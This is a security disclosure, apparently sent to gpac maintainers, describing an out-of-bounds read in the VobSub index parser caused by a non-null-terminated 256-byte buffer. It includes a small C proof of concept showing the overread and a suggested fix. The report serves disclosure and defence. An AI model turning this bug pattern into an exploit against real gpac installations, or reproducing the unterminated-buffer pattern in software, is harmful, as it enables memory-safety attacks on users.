Description

The gpac VobSub parser takes a FILE* handle and attempts to load the information from that file into its memory.

The main focus of this report revolves around the first few lines of the function and how they make some assumptions about buffer sizes that allows for an out-of-bounds read:

    char  strbuf[256];
    char *str, *pos, *entry;

    for (line = 0; !error && gf_fgets(strbuf, sizeof(strbuf), file); line++) // Read up to 256 bytes into strbuf
    {
        str = strtrim(strbuf);

        if (line == 0) // Conditional for if this is the first line of the VobSub file:
        {
            char *buf = "VobSub index file, v";

            pos = strstr(str, buf); // Find where 'buf' appears in 'str'
            if (pos == NULL || sscanf(pos + strlen(buf), "%d", version) != 1 || *version > VOBSUBIDXVER) // Read and check the version integer
            {
                error = 1;
                continue;
            }
        }
        ...
    }

In this extract, a buffer of 256 bytes is allocated on the stack, and a maximum of 256 bytes are read into that buffer from a file.

From there, the buffer is 'trimmed', which seems to leading whitespace on each side of the buffer with null bytes (although on the 'left' side of the buffer, its index is simply incremented) - this 'cleaned' version is stored in str.

Later, a string search (strstr) occurs for the text "VobSub index file, v" in the buffer. This string search assumes that the buffer (str) is null-terminated to avoid searching past the 256-byte boundary.

Furthermore, an (optionally signed) integer is read from the end of the "VobSub index file, v" position in the buffer - this makes the assumption that the string ("VobSub index file, v") occurs at least four (implementation-specific, but usually four) bytes before the end of the buffer.

Both of the aforementioned assumptions are incorrect when strbuf is non-null upon initialization, and more favourably for an attacker, whenever the contents of strbuf fill the buffer exactly. At which point, there is no guarantee of a null-terminator and such read/write attempts may impact other arbitrary data.

Proof of Concept

This proof of concept code shows that an element past the end of the strbuf array can be read by filling the aforementioned buffer.

#include <ctype.h>
#include <string.h>
#include <stdio.h>
#define MIN(A, B) (A > B ? B : A)

char* strltrim(char* str) {
    if (str == NULL) {
        return NULL;
    }

    while (*str) {
        if (!isspace(*str)) {
            return str;
        }
        str++;
    }

    return str;
}

char* strrtrim(char* str) {
    char *end;

    if (str == NULL) {
        return NULL;
    }

    end = str + strlen(str);

    while (end-- > str) {
        if (!isspace(*end)) {
            return str;
        }
        *end = '\0';
    }

    return str;
}

char* strtrim(char* data) {
    return strltrim(strrtrim(data));
}

#define VOBSUBIDXVER 7
int run_iter(char* const strbuf) {
    char* const str = strtrim(strbuf);
    const char* buf = "VobSub index file, v";
    char* const pos = strstr(str, buf);
    int ver = 0;
    int* version = &ver;
    if (pos == NULL || sscanf(pos + strlen(buf), "%d", version) != 1 || *version > VOBSUBIDXVER) {
        return -1; // Should hit this if there was no overflow situation.
    }
    return 1;
}

int main(void) {
    char strbuf[256 + 1];
    memset(strbuf, 0x01, 256); // Where test_data will fall within.
    strbuf[256 /* Out of gpac's boundary */] = VOBSUBIDXVER + 0x37 /* 0x37 is ASCII for '0' */;
    // test_data = ('.' * 236) + "VobSub index file, v"
    const char* const test_data = "............................................................................................................................................................................................................................................VobSub index file, v";

    // Using MIN() here as a sanity check to ensure that we aren't writing over the 256 buffer that would be present in gpac.
    memcpy(strbuf, test_data, MIN(strlen(test_data), 256));
    printf("run_iter(...): '%d'\n", run_iter(strbuf));
    return 1;
}

Impact

This report and the proof-of-concept therein have focused almost exclusively on two memory violations within the first 20 lines of vobsub_read_idx; the scope of this issue actually includes the entire function which repeatedly assumes that the 256-byte buffer is terminated. Such areas have been included in the 'Occurances' section.

Fixing this vulnerability will be extremely simple. By (optionally increasing the size of strbuf by a single byte and then) setting strbuf[sizeof(strbuf) - 1] = 0x00 only including sizeof(strbuf) - 1 as the length in the call to gf_fgets, the buffer will always be null-terminated.

I'm happy to fork and make a pull request with this patch however I wouldn't want to create a public fork too early in the event that it could disclose information regarding the issue to third parties.

Thanks for the great work you all do with gpac!